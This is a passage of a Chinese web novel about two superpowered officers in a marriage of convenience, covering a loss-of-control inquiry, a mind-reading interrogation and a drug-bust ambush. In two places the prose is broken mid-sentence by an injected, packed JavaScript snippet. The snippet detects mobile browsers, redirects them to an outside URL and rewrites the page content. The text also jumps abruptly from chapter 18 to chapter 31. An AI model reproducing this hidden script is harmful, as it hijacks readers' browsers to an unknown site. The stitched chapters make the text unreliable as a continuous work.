“你先进来吧。”周观逸让了让。 周观逸身上也一样,青一块紫一块,家常便饭。 但季长岁这程度是生猛海鲜了。 季长岁敲他门是两个目的,一来让周观逸也上点药,二是叫周观逸帮自己上点药。 “你就帮我抹这一块就行了。”季长岁伸出手,比划了一下自己掌心的位置,“就我后背对应的这里,我够不着,剩下的我能自己来。部长,你傻了吗?赵胜那个没有人样的脸你都没吓着,现在不会被我吓着了吧。” 周观逸愣愣地点头:“有点儿。怎么撞这么狠啊。” “你,加上我,我们两个成年男性Alpha。”季长岁认真地说,“以及翻滚的速度,骨头没事儿算我够硬。” “噢……”周观逸是真的吓着了。那一后背的骇人颜色让他拧膏药的时候拧反了方向。 季长岁原本坐在他家这个比较长的沙发上,无奈,起来走过去到单人沙发这里,弯腰,拿走周观逸手里的药瓶:“这么拧。” 然后坐回去,背对他,还是垂着眼的。 周观逸小心地抹着膏药,茶几上袋子敞着口,塑料袋黏在冰啤酒的罐子上,他问:“抹药能喝啤酒吗?” “能吧,又不是口服药。”季长岁说。 季长岁的背上新伤混着旧疤,像一面经年风雨的石板墙上凿刻着诗词,落魄又有力量感,很好看。 “谢谢啊。”季长岁抬手套回T恤,然后慢慢转过身来,拿过药瓶,“你也脱了吧,我帮你涂。” 17. 第 17 章 膏药涂上去冰凉凉的,顺带镇痛。 其实方才在买药的时候,店里的姑娘询问了他需不需要去痛片之类的,季长岁拒绝了。 虽然不晓得去痛片跟酒能不能一块喝,他是无所谓的,但别把周观逸搞死了。 给周观逸上药的时候他一动不动,和季长岁一样,整个后背没几块好皮肉,深深浅浅的疤痕。 周观逸穿的居家服,浅灰色的一套睡衣裤。他穿好上衣,纽扣都系好了才转过来:“谢谢。” 那边“咔”一声,季长岁拇指抵在易拉罐边缘,中指弯曲压在罐顶,食指拉开拉环,涌出“哧啦”一声。季长岁递到唇边喝了一口:“不用客气。” 他看起来想在这里待一会儿,周观逸在犹豫现在拿只杯子给他是不是有点晚了的时候,季长岁看了他一眼。这眼看过来两人都停顿了一下,像卡壳了。 周观逸说:“稍等一下。” 他起身去厨房,季长岁听见水龙头打开的声音,然后看见他拿了两只玻璃杯回来坐下,在季长岁旁边坐下。 季长岁垂眼看着他把另一罐啤酒打开,倒进玻璃杯里,自己乖乖地也把自己这罐倒进水杯。 然后两人碰了个杯,啤酒在里面晃荡,周观逸问他要冰块吗,他说不用。手指戴着一对最亲密的婚戒,嘴上说着普通同事间的对话。 事实上这是季长岁活三十年来第一次拎着零食啤酒敲开另一个人的门,他终究在这虚无缥缈的婚姻里掺了一点点寄托,比如今天实在不想一个人呆着。 “不好意思啊这么晚过来打扰你。” 周观逸听他这么说,先是看了看自己手上的戒指,又能看出他明显的心情低落,于是开玩笑说:“常来啊老公。” “咳咳咳咳……”季长岁迅速抽了两张纸巾捂住嘴,呛了几下后,一脸不可置信地看他,“你万幸我刚才嘴里这口酒咽下去了。” “……”周观逸笑笑,不知道说什么好,跟他碰杯。相敬如宾,客客气气。 季长岁知道他在开玩笑,没放在心上。他放下杯子,把袋子里的零食一个个拿出来,买的还挺多,薯片啊糖果巧克力的。 他从里边挑了个包装很精致的单枚的巧克力,拿到周观逸的杯子旁边:“今天对不起啊。” 周观逸因为他而多了许多钝伤。 “你这是赔礼道歉?”周观逸拎着杯子把剩下的小半杯喝完。 季长岁也不知道,没说话,稍一耸肩。他觉得算是吧,总要多来几个理由,就像瓶子里多装些石头才有分量。 “没关系。”周观逸收下了巧克力,将它从自己和季长岁的中间挪到自己左边来,但是没拆开。 季长岁拆薯片包装的第一下没给撕开,咽喉不自觉紧张起来,第二下成功撕开,先递给周观逸:“反正……这件事情,后天监管部门会调查,不会牵连你。” 周观逸捏出来一片,嘎吱嘎吱地嚼:“我不在乎这个。不过我不明白,想要赵胜活口的是你,差点把他打死的也是你。” 季长岁把酒喝完,没有回应周观逸的话,而是问了个完全不搭的问题:“周部长你今年多大?——好好我知道婚姻申请书上有你的出生日期,但我没看,抱歉,当时眼睛跟万花筒一样,我三十,你呢?” 周观逸看了看他:“二十七。” 季长岁的眉梢偷偷在刘海遮挡下挑了挑:“那……那应该是你七岁的时候了,我不知道你有没有听说过,那年国际异能者协会第一次确认‘失控异能者’这个概念,同时将其定义为‘出现失控情况的异能者’。” 周观逸点头:“嗯,这事我知道,后来……” “后来,他们对这个定义和收容方式做了很多次修改。”季长岁接过话,继续说,“第二次修改定义后,变成‘异能出现失控情况的异能者’。” 周观逸隐约猜到了什么。 “高阶异能者很稀有,他们愿意为了一个还算听话的,年纪很小的高阶异能者来稍微修改一下条例。”季长岁做出一个“大概就是这样”的表情,“我在格斗的时候偶尔会失控。所以,以前我的大部分工作是远远的,一个人架一把狙击枪,不跟任何人产生近身搏斗的可能。” 已经是很偶尔的那种偶尔了,他补充:“我成年之后已经很少出现了,非常少,真的。” “我相信。”周观逸认真地说,“其实我并不认为你今天是失控,你要是按对着赵胜那个力度揍我,我未必招架得住。” 季长岁若有所思,自己有点转不过来:“是吗?我都不太…不太记得了,那个时候我脑子是混沌的,敌我不分,六亲不认,我都把赵胜打得他妈都认不出来了。” “啊那他是毒贩嘛,打成那样人之常情。”周观逸很真诚。 “……”季长岁有点拔剑四顾心茫然,“部长,你刚才还谴责我‘既想要活口又差点把他打死’。” 周观逸笑笑,捏薯片吃。 一罐啤酒能倒出来两杯,第二杯的时候周观逸去冰箱里拿了冰块,还是放点冰块更好喝。季长岁没打算久留,第二杯他喝得很快,最后放下杯子时跟他说:“谢谢啊,今天有点…有点不想一个人呆着。” “常来。”周观逸手上还剩小半杯,他知道季长岁打算告辞了,仰头全喝下去,“也谢谢你来给我上药。” 季长岁从碘伏盒子里掰了一半留下来,那个是一次性包装的:“你一会儿拿这个消消毒,我先回去了。” “好。”周观逸点头,跟着季长岁一块儿站起来,他拿起那块巧克力送他到玄关。 玄关旁边有个置物的小矮柜子,季长岁换鞋的时候瞧见矮柜上有个大概抽纸盒那么大的铁质饼干罐,周观逸打开盖子,把巧克力放进去的时候,季长岁穿好自己的鞋,站直,原来那是个糖罐子,里面花花绿绿各种各样的糖。 他蛮惊讶的,没想到周观逸背地里…不是背地,是堂堂正正的一个糖果罐子摆在玄关。周观逸把巧克力放进去后,在里头挑挑拣拣了几下,拿出来另一颗巧克力。就像是挑出一颗他觉得最好的,笑着递给季长岁。 季长岁犹豫了下,先拿过来揣进口袋,然后瞄了眼那盒子:“你的……糖罐子?” “嗯。”周观逸“嗯”得很理所当然,丝毫没有二十七岁特战部部长持有一和糖果盒而有羞耻感什么的。 不得不说他“嗯”得季长岁产生了自我谴责——这有什么的!成年人有自己的糖罐子怎么了! 然后周观逸将糖罐子拿起来,递给他:“想自己选一个吗?” 他不是很爱吃糖,不知道为什么,本来想说“不用了”但又鬼使神差地手伸进去。水果硬糖,酒心巧克力,维他命软糖…… “你现在拿的这个好吃。”周观逸在他捏住一颗酒心巧克力时说,“它里面夹的不是酒,是酒味的饮料。” “喔……”季长岁拿出来,“那就这个吧。” “嗯,晚安。”周观逸把他的糖罐子盖上。 “晚安。” 后面休息的一整天里季长岁没有收到任何消息,手机安静得让他焦虑,杨局长没消息,管理局韩瑞也没有。 就连一向聒噪的小何都没催促他去医院检查一下,他就明白这次事态比他想象的要严重。 不止是误伤周观逸这一点,而是赵胜,他失控的阶段里,在痛殴赵胜。此时他垂着头坐在床边,手机开着铃声,像等待审判一样——虽然他明白即便有审判也不会在今天找上他。 一直到傍晚,连工作群都没有一条新消息的时候他就知道自己完了。 算了。季长岁把手机扔去床上,随便吧,最差最差的结果是被带走做评估,用各种各样的测试来判定他是不是失控异能者。 这令人不适的名词让季长岁一整天焦躁到心率不齐,他坐立难安,吃不下东西,也没精神做任何事。比如他现在知道自己要去冲个澡然后吃点东西早点睡觉,但还是坐在黑洞洞的客厅里,唯一的光源是他手里安静到诡异的手机。 一动不动,像没有能源一样的季长岁开始胡思乱想。昨天究竟是怎么回事……没有理由的,没有人激怒他,就是自己控制不住自己,分明理智上自己知道只要让赵胜失去行动能力就好,可手却好像不是自己的手,脑子也不是了……换了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749567|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人似的,“自己”只是在旁边安静地看着“季长岁”揍人。 他压制不住。 老师临终说的那三个词,一旦爆发,什么都克制不住。 这从来不是循序渐进慢慢努力的事情,它要么在季长岁身体里沉寂着,无声无息,要么毫无征兆地接管季长岁,无差别攻击。 季长岁一直都明白。 “笃笃。” 他一惊,在客厅幽暗的月光中看向门口。晚上九点半了,他没有点外卖也没有快递,谁会敲门…… 季长岁这一整天大部分时间里都这么做着,干等着,加上一后背的钝伤,站起来的动作有些僵硬。 “……是你啊。”季长岁开门时外边走廊的灯光铺进来一道扇形。 何书清戴着口罩和脑子,鬼鬼祟祟:“否则你希望是谁!” 季长岁没接这话,拿了双拖鞋放下。小何进来他家的第一件事情是开灯,客厅骤亮,季长岁闭了下眼睛。 “怎么了?”季长岁从冰箱里拿了瓶矿泉水递给他,“找我有事儿?” 何书清将水拿在手上,摘下口罩,说:“今天局里叫周部长过去了,今天不是休假嘛,是……是汪局长亲自叫的。” “嗯。” 汪局是正局长,韩瑞的领导。叫周观逸回去,无非是自己出手攻击他的事儿了。 何书清在沙发坐下,抬着头看他:“哥,我觉得……可能会有麻烦,他们好像希望周部长明天接受精神控制……来证明昨天他所说的‘意外’是实话而非……” “而非是看在我跟他结了婚的份上为我开脱。”季长岁转了几圈无名指上的戒指。 小何鬼鬼祟祟地找过来而不是微信上说这些,大抵是今天管理局中气氛微妙。 想到这,季长岁问:“赵胜还活着吗?” 小何无奈地摇头:“还不知道,啊、不是他们不告诉我,是赵胜还在治疗。” 季长岁点头:“希望他生命力顽强一点。” “嗯嗯!”小何跟着点头,“没事,死了也没事,死有余辜,他同伙也抓到了嘛不是,总能审出有用的。” 听这话,季长岁笑了笑,倒不是被小何安慰到,而是这事儿远远超出了自己的控制范围,他焦虑与否都改变不了什么。 见他笑了,小何放松了些:“是吧,没事的哥,大不了咱回桃榔!我跟你一起回!” “你回什么回,在这待着,攒多点成绩,难道当一辈子资料员?”季长岁看了他一眼,走到餐桌边,桌上有半瓶矿泉水,他拧开喝了几口。 何书清捏着自己这瓶,咬着牙:“他们根本就不明白,你——” “行了。”季长岁打断他,“回去吧,我知道赵胜还没死就行。” “还有件事。”小何坐直起来,眼睛灼灼地盯着他,“哥,精神控制异能者的监管队其实……其实昨天就已经到了。” “什么?”季长岁一惊,“怎么…所以郭祁也是昨天到的?” 何书清点头:“郭祁……我今天没见到郭祁,但见到她的妹妹了,那小闺女口无遮拦,跟我聊天儿的时候说岔了。” “说重点。”季长岁看着他。 “郭祁和监管她的那个小组,最近一直在昶州附近工作,你也知道的,她这种精神控制异能者被24小时监管。然后……昨天,郭祁夜里失踪了一小会儿,她自己也不知道为什么,就在床上睡觉睡得好好的,穿着睡衣赤着脚就走出来了,梦游似的……” 季长岁越听越觉得荒谬:“郭祁身边24小时不离人,她怎么可能半夜独自离开房间,她的监管程度比战犯还高啊。” 何书清点头:“哥,我有点…害怕,到底是怎么了,为什么这种稀奇古怪的事情一件接一件?” 季长岁没法回答他,因为自己现在都自身难保。他只能走过去按了按小何的肩膀,说:“没事,天想塌下来就塌吧,回去休息,别想太多。” “你说……周部长如果真的接受精神控制,还会帮着你吗?”小何心有余悸。 季长岁没正面回答:“无所谓,这不是我们能控制的。” 18. 第 18 章 从周观逸那里拿来了两颗巧克力,吃掉了一颗。另一颗酒心巧克力季长岁一直揣在口袋里。 它像是某种锚点,手指尖摸到这颗巧克力就能把他带回去周观逸家里的那个晚上,让他平静下来。 清晨八点,季长岁警帽,制服,短靴。 战术腰带配枪,手套,对讲,从办公室走出来。面无表情时略显森寒,路过的警员向他轻声打招呼说“季警官,早”,季长岁“嗯”一声说“早”。 他依然是那样,没有刻意端着却让人潜意识想要远离,和从前没什么变化。 季长岁走出办公楼,今天阴,天气预报显示小雨,春夏就是这样,雨憋闷在云里的时候堵得慌。他抬眼,视线从警帽帽檐掠过去,瞧了瞧灰得像是病入膏肓的天。 审讯楼的13层,韩瑞亲自在电梯门口等他。 “来了啊。”韩瑞笑得敦厚亲和,“哎哎,不在这层,咱上楼,搁审讯室聊像什么样儿啊哈哈哈哈,被部下看见了挺尴尬,再说了,你又不是嫌犯。” 季长岁朝旁边让了让,点头。 原本他收到消息叫他来审讯楼13楼A01接受问话,这韩瑞却……倒也不能说他“假惺惺”吧,起码韩瑞在他身上没什么图谋。 审讯楼20楼有一间韩瑞的办公室,布艺沙发上有柔软的靠枕,比审讯室那直板板的椅子舒服很多,不过季长岁的坐姿仍是很板正。 韩瑞泡了两杯热茶搁在茶几上,没坐他对面,跟他隔了一些距离坐在旁边,说:“其实我是想压下来的。但……但你应该能明白,像我这样的人一样是被监管着,我必须往上报。” “我明白。”季长岁摘下警帽搁在腿边,“赵胜还活着吗?” “还活着。”韩瑞说,“但目前还没办法开口说话,你打得太……” 季长岁安静等着韩瑞的那个形容词,没等到,自己接上了:“太没分寸了我知道,韩局,监管小队什么时候开始审我?” 韩瑞摇头:“不审了。” “怎么回事?”季长岁愣了下,想起小何说的郭祁的事情,“是精神控制异能者出问题了?” “对。”韩瑞说,“你知道的,郭祁是目前已知的唯一的全物种精神控制异能者,她前两天因公事靠近昶州地界,出现了这么多年里第一次无知觉行动,今天是监管组在昶州的最后一天。” 季长岁仍不明白:“昶州邪门了?怎么谁来谁出问题。” 韩瑞“啧”一声瞪他:“咱这儿好着呢!” “……”好好好。 韩瑞又说:“我把你叫过来是…是因为我这个办公室里没有监听监视,季警官,我们非常需要你。但今天郭祁要精神控制他,以确认他所说的你们的‘过招’真的只是意外。如果、如果周部长的结论是你失控了……无论是不是驱动异能状态下的失控,你都必须……” “回桃榔去?”季长岁问。 韩瑞说:“必须跟监管组离开。” “哦,去坐牢。”季长岁很平静。 “啧你别瞎说呀,监管一小阵子而已嘛,不是坐牢,怎么能是坐牢呢!”韩瑞说。 季长岁笑了下:“郭祁的状态跟坐牢有什么区别。” 这是周观逸第一次见到郭祁。从他曾经了解到的资料中,郭祁是一位年岁不详的女性,但没有提到她头发全白,整个人像石膏。 审讯楼22层,S01审讯室里,周观逸用拇指磨着无名指的婚戒。 “您还好吗?”周观逸先开口询问。 郭祁原本就苍白的脸上非常疲倦,她身后站着三个护卫,跟仿生人似的纹丝不动,一声不吭。 比如现在,郭祁咳得都快要从那椅子上跌下来了,那三个护卫跟雕塑似的。 郭祁捂着嘴咳嗽了好一会儿,终于缓和了些,她带着歉意:“不好意思,刚刚读取赵胜太耗神了。” “我理解。”周观逸说,“我该怎么做?” 郭祁颤颤巍巍地扶着座椅扶手站起来,她和周观逸之间隔着一张方桌。周观逸不晓得她精神控制别人的方式,甚至有一瞬都怀疑她究竟会不会——这么虚弱的躯体,精神力竟能控制、读取别人的思维?莫非精神控制根本就是假的吧,拿她来当幌子罢了。 “请把手给我。” 被精神控制的过程像是“鬼压床”,人是醒着的,但动不了,并且非常非常想要反抗,想掐自己手心,想有个人把自己拽起来。 二人在电梯里碰面的。 周观逸从22楼下来,20楼的时候电梯门开,外边站着季长岁,一手拎警帽,另一只手自然地扶在战术腰带上,枪套是空的。 季长岁看见他后短暂地停顿了下,抬脚走进来,说:“早啊。” “早。”周观逸按关门键,问,“赶时间吗?” 季长岁没反应过来,然后才意识到他在说那天自己操纵电梯自由落体说赶着下班。他没回答赶不赶时间,问:“见过郭祁了?” “见过了。”周观逸说,“但是她没有告诉我结论,我甚至都不知道她在我脑子里读了些什么。” 季长岁稍微偏过些脸,从电梯门的反光里看见他迷茫的表情,笑了下:“是的,她不可以告诉你,听说是因为这东西很复杂,好像是因为人的思维分为主观意识和潜意识什么的……我也不清楚,她需要做分析。” 周观逸思索片刻,觉得合理,可又不解:“那这样一来,读取到了什么信息,岂不是她说什么就是什么?——我没有质疑她对律法的忠诚度,我是觉得……” “嘘。”季长岁打断他,“下一层要停了。” 周观逸收声。 电梯在6楼停下,进来了两个警员,他们客气地打招呼。 今天有任务,并不紧急,已经有警员过去了,是学校里的保安失控,低阶的结界异能,不准任何人越过学校范围,不准进不准出。也因为这会儿就是上课时间,没什么大不了的。 季长岁到那所高中的时候,警员们正在琢磨那学校大门该怎么以最小损伤程度给弄开,季长岁走过去拍拍其中一人的肩膀:“劳驾让让。” “哎!季警官!” 季长岁耗时8秒打开了学校的正门,接着2秒打开了保安亭的门。 “失控异能者孔勤民。”季长岁扶着保安亭的门,面色不善,“跟我们走一趟。” “我没有——!”孔勤民紧紧攥着一把水果刀,大叫一声举着刀就冲过来。 那保安亭很窄的一个门,季长岁一个人就堵住了。武学讲“内练精气神,外练手眼身”,对方毫无章法地迎面扑过来,他不动如山,左手扶门,右手化手刀下劈,水果刀当啷掉在地上。 季长岁是童子功,得益于异能天赋,武馆里“嘿啊哈”地喊了一两天,没多久就正式爬进八角笼。 孔勤民还在失控状态,结界异能是防御类,他跌在地上后企图在保安亭周围设立结界,把季长岁震出去。季长岁仍是一手扶着门把,弯腰另一只手把他从地上拎起来,在这个瞬间,他非常、非常想把孔勤民……砸在墙上,或者门板上。 不行。 别这么做。 季长岁,克制一下。 凝滞之际,孔勤民一低头抄起地上的刀,胡乱地朝季长岁脸上挥。季长岁“啧”了声,感觉到刀刃从下颌角往上割的时候,他“咣”一声把孔勤民砸在门板上。 没下狠劲,孔勤民甚至还能自主站立。 他很烦……在草木皆兵。 刚刚那个是失控的预兆吗?不对啊,揍赵胜的时候没有这种征兆啊。他靠在警车后备箱上,一个面生的资料员在记录这次失控异能者收容。 “季警官,您伤口要处理一下吗?”有警员过来问。 季长岁稍微碰了碰自己脸:“没事,不深。” 孔勤民带上警车后,季长岁接着又收到管理局控制中心的指令,就在这所中学后街不远的小区里也出现了失控异能者。季长岁叫那辆警车先回局里,自己带两个警员驱车前往。 警员小宋在副驾驶:“火焰异能,消防也在路上,说是在家里做饭做生气了然后……失控了。” “是难吃到人神共愤了?”季长岁不解。 小宋干巴巴地笑两声:“这谁能知道呢……” 小区是结构很老的那种,居民楼之间的间隙只能堪堪让两辆轿车并行。 季长岁开警车到的时候几个看起来应该是住户的男男女女在帮忙拽石墩子,还有人在打电话叫堵路的车主下来挪车。 季长岁停在小区外边,停好之后回头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749568|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼车,心里喃喃道警车应该不会被贴罚单吧…… “几栋的?”季长岁问。 小宋低头看手机:“7栋,那边——啊,那是黑烟吗?” 季长岁顺着他手指的方向看过去:“是。” 应该是刚刚才烧起来,因为旁边居民是这时候才忽然惊叫。 有人喊着快打消防,有人喊着叫救护车。紧接着季长岁听见背后马路上有警笛声,他看了眼向7栋去的那条通道,通道上停着一辆硕大的SUV。 他立刻跑过去,先拉开旁边还在打电话叫挪车的人:“让一让!” 异能驱动着SUV移动到单元门前边的空地,消防车飞驰进来,大家有的拿起手机开始录像,有的焦急地打电话。 “我跟着进去,你俩在原地等。”季长岁说。 异能者有比常人更高的抗性,毒气类也在其中。季长岁跟消防员出示了证件后跟着冲进火场,失火地点是7栋4楼。 浓烟滚滚的楼道里什么都看不清,季长岁摸着楼梯转角的电表箱来切段这栋楼的电源。还没上到4楼的时候,在3楼转过一个弯那里,季长岁隐约看见一道黑色人影。 那人绝对不是消防员也不是警察,季长岁习惯性拔枪,然而掏了个空——他目前的敏感程度比较严重,今天没有被允许配枪。 这身影绝对是忽然出现的,否则前面几个消防员必然会发现。季长岁冷静地看着对方,一步步踏上台阶。 “你并不自由,对不对?”那黑影是一道变声处理过的男声,“你明明具备强大力量,你应该拥有随心所欲的权利。” 说实话季长岁现在只想随心所欲地把这人按在地上把他打成一滩饺子馅。 然而那只是黑色浓烟里的一团更浓的烟。 “没人啊。”楼下的消防员跟他说,“这时间都去上班上学了,就咱们几个,哦,还有那个烧饭的失控异能者。” 季长岁预料到了,点点头:“行,估计我看岔了。人我们带回去,辛苦了。” 失控异能者的事情再次登上晚间新闻,与初次出现失控异能者时铺天盖地人人惶恐的状况不同,时至今日,仅仅是新闻之间穿插一个数据表。 他不知道该怎么汇报那个楼道里的黑影,执行官办公室里他孤零零一个人,之前小何敲门进来给他送止血贴,他随手一放不知道放哪去了。 敲门声又响,他说了句“进”。 “听说你出任务伤着了。”周观逸进来,带上门,“我拿药来了。” 季长岁手肘支在桌面,托着下巴,姿态随意声音懒倦:“你再晚来点儿,疤都要掉了。” 周观逸失笑:“吃点东西吧。” “谢了。”季长岁抬眼,“有消息吗?” “有。”周观逸放下袋子,“而且,不太好。” “说吧。” “郭祁判断我的潜意识认为你是失控异能者。”他说完,停顿一瞬,继续说,“但是,我没有。我不知道你相信她还是我。无论什么意识下我都没有这么想过,我觉得她是被人……被人下命令了还是什么的,我绝对没有一丝一毫这么想过。” 季长岁脸上那道血口子帅得不像话,无所谓地“嗯”了一声,手指勾着塑料袋,拿了个三明治出来:“我吃这个。” 三明治的包装刚被他从中间段撕开,手指忽地停了,他看向周观逸:“不对啊,既然下判断了,为什么没人来抓我?” 周观逸稍微带了些不好意思的情绪抠了下自己手指甲,清清嗓子,说:“桃榔市局的杨局长……打了电话过来,替你做了解释,并且监管组接受了,可能也是因为最近郭祁状态不佳,所以没有太拉扯。” “哦。”季长岁继续拆包装。 的确,此前在微信上杨局长就告知过他,会尽量把他保在这里。 季长岁咬了一口三明治的尖儿,顺嘴问:“杨局怎么说的?” “他说……”周观逸吸一口气,“说:‘这几天刚好是季警官生理期前后,他今年三十了,一直没有性生活,信息素的处理全靠药物,情绪有波动实属正常,不应当如此锱铢必较。’” 季长岁手里的三明治滑到桌子上:“这些话都谁听见了?” “……你要挨个灭口吗?”周观逸询问。 30-40 第31章 第31章是恶作剧。 春夏的茂林是天然掩护,对敌我双方皆是。 为了避免暴露,局里几辆车错开着靠近这里,车停在他们将布防的风炉大道东面大约6、7公里的一个村口。村子和谷福村差不多,已经被昶州管理局要求配合,季长岁下车后辖区警察过来快速交流了下,就是互相出示证件和核对路线坐标。 辖区警察接管了他们的车之后,这一车六个人向风炉大道徒步过去。 为确保万无一失不出破绽,季长岁又把这六个人分为AB两组,在通讯设备的极限覆盖范围内绕行。 所幸天气还没有到非常高温的时节,虫蝇无可避免,所有人都不能去拍或者驱赶,要最大程度上保持这片林子是自然的状态。 他们不知道毒贩和买家之中有没有什么人做反侦察,那就要尽可能掩藏自己。 季长岁看了眼天边,后边跟着的队员叫陶诚,陶诚见他望天,提醒道:“大概35分钟后会下雨。” “继续走。” 行军要隐蔽的同时保存体力,不能大摇大摆地开车或坐直升机抵达风炉大道,那不如再多吆喝两句“我们来抓人了”。 闷头赶路的时间里季长岁在梳理思绪,听着通讯器里队友的交流,大家简单扼要地说自己前路的情况和天气。下雨是一件有利有弊的事儿,雨可以冲刷掉大部分行军痕迹和车辙印,但同样也会成为毒贩们的掩护条件。 临到今天,季长岁大体上能够认同杨局长的话。 因为此时此刻他们正在做的事情…不,不仅是此时,连带着往前的很多任务进行方式,其实都更偏向于军队。比如他们现在正在行军。 对此,季长岁并没有觉得不公平或是什么,而是感叹于杨局所说的“韩瑞是个政客”。 “季警官。”身后陶诚叫他,“下雨了。” 雨落在周观逸身上的时候,他下意识抬起头。 风炉大道的布防工作以缉毒大队为主,异能者管理局为辅。缉毒大队分为两组,一组后追一组前围。 此时携带港口货的毒贩的车距离风炉大道还有20公里左右,这些人走走停停,可能是因为毒驾开车晃晃悠悠,也可能是别的什么,总之缉毒大队的人没有暴露,稳健地跟着。 周观逸这车带了弹药地雷,这些是后手防备,如果最后是无可挽回的关头,就一锅炸了。 “雨下起来了。”沈浪看看时间,“本来说要临近傍晚的时候才下,部长,我们是不是部署得太靠前了?” “刚好。”周观逸往风炉大道南侧看过去,没有人知道此次抓捕对象中会否出现加兹拉尔本人。这一点让人既兴奋又有些恐惧,那种期待感是带着颤抖的,尽管加兹拉尔本体并不是什么令人闻风丧胆的大魔王。 他只是玩弄人心,搅动人性,狡黠的阴谋家。 雨势模糊了这片山林,所有人依靠置于风炉大道路边的探测仪,不妙的是因为雨越来越大,他们的通讯设备偶尔出现一些信号不好的滋滋声。 “02车的能联络上吗?”周观逸问。 “我试试。”沈浪蹲伏的地方和周观逸隔了大约1.5米,他又稍微挪了挪位置,按对讲,只有滋啦声。沈浪把对讲揣回去,用同组通讯器告诉周观逸:“不行,信号太差了。” “那算了。”周观逸说,“等吧。” 02车的季长岁已经抵达目的地,坐标在风炉大道国道段南北方向东侧,田地后方的山坡上。 山林的雨点子大小不一,有时候头上树叶盛一小洼子水,哗啦啦全淌下来砸在头盔上。同样的,为了避免异能被人探查出来,此行所有人都没有用异能,纯靠体能。 季长岁蹲在草丛中把狙击枪支起来,长狙在实战中需要通过气流和风向对枪械行进微调,大雨天不适合远距离狙击,尤其高精狙。 他先试了试支架,山坡泥地会被雨水越泡越软,缉毒大队给出的预估是他们将在48小时内在风炉大道与买家汇合,尚没有准确的预判时间,所以支架会慢慢陷进泥里。A组组员是射击组,B组的部署位置靠前一些,做观察和辅助抓捕,他们身上带冲锋枪和手枪。 季长岁蹲姿抱狙试了试,来测试维持这个姿势的时间里双脚下陷的程度有多深。伏击是个非常考验耐性的事情,48小时内目标随时可能出现,加上大雨影响下通讯设备迟滞,他们必须在最小动作幅度中维持精神盯着路面和探测回馈。 “军用喷焰器有点问题,季警官。”陶诚在通讯里说,“它保险锁不上。” “拿给我。”季长岁先将枪轻轻放下,这高精狙贵得要死,然后最小限度地挪动到陶诚旁边,“我看看。” 有些枪械的保险做得很硬,Glock的保险就是需要用点劲儿,军火制造商这么做是为了防止枪掉在地上摔开保险而走火。 季长岁拿到喷焰器的时候有些意外,他原本以为这是自己理解范围内的军用火焰/喷射/器,结果陶诚递给他的时候,机械异能者摸到的第一下他就了然——这里边喷出来的估计不单单是火。因为这次可能会有密林作战所以带上喷焰器,烧树烧山洞都是很好用,不过……季长岁低头看了这玩意有五六秒,再转头,陶诚眨巴眼睛的时候眼珠子和眼皮上的迷彩交错出现。 季长岁问:“什么弹药?” “听周部长说,是军区最新研发的凝固汽油燃烧/弹,配上了电磁脉颗粒。”陶诚回答。 季长岁惊呆了:“这两样东西能融在一块儿用吗?” “那我就不清楚了,给咱咱就用呗。”陶诚说。 “雷火交加啊。”季长岁倒不是害怕,而是很惊讶,“你能联系上周观逸吗?” “我试试。”陶诚是02车上的后勤警员,他身上的通讯设备是最全的,联络其他人的和联络局里的。 片刻后,陶诚摇头:“信号不好。” 季长岁笑了下,又看看这喷焰器:“这火力猛的……周观逸他是有什么误会吗?我们是抓毒贩还是去欧洲灭几个小国?” 旋即季长岁又想起了之前在韩瑞办公室里,当时韩瑞转交一把军区研制的新型手枪给周观逸,韩瑞说军区有什么新式武器可以拿来给季长岁这个机械异能者试试。 该不会这是其中之一吧…… 千度高温的喷焰器加上电磁颗粒,季长岁失笑了下。 “保险确实出问题了。”季长岁说,“这玩意要是走火了问题很大,放我这吧。” “好。”陶诚说。 这东西是巷战神器,有人赞其是不配弹夹的加特林,轰就完事儿了。 “还有什么新玩意吗?”季长岁问完,补充,“军区送来的。” 陶诚回忆了下:“昨天上午周部长说,有改良过的轻型反坦克火箭筒,单兵单发式的,一个搭载破甲弹的单兵火箭筒,哦,好像还有个什么精准制导的,我忘记了。” “……精准制导。”超出了季长岁的预料,“确定这次只是一次行动而不是战争吗?” “嗯。”陶诚点头。 三小时过去后,仍没有任何消息。 当与自己配合的组织是缉毒大队的时候,没有消息可以看作好消息。季长岁在组内对讲中让B组原地休息,A组观察。 大雨密林的原地休息并不舒服,只是不需要从准镜里盯着风炉大道的地面。他们为了隐蔽效果绝佳,选择部署的地形是个偏洼地,已经被雨水淹到鞋面,警员们俯卧在地上,休息的时候侧卧,几乎半个身子泡在雨水里。 第四个小时,季长岁咬开袋装的功能饮料喝下去,同时指挥A组另两个人休息,自己一个人盯。 本就是个大雨滂沱的天,昏暗得让人分不清昼夜。风炉大道和他们隔着一片稻田,下方几家零散农户亮起灯来。季长岁看时间,表盘置于手腕内侧以防反光暴露位置,现在是傍晚七点一刻。 偶尔有车从风炉大道过去,出租车或私家车,这一条路的路灯亮度不佳,路边又没有测速的,车速很快的时候只有一道光溜过去。 熬人的行动就是这样,即便异能者们体能上乘,可精神上的折磨是一点儿不缺。 季长岁又摸了摸手边的喷焰器,他很喜欢高精度的器械,摸起来对他来讲是一种精神安抚,像很多人觉得摸毛绒动物会让自己宁静。 第五个小时,雨没有要停的意思,训练有素的警员们像是山里的一颗颗蘑菇。 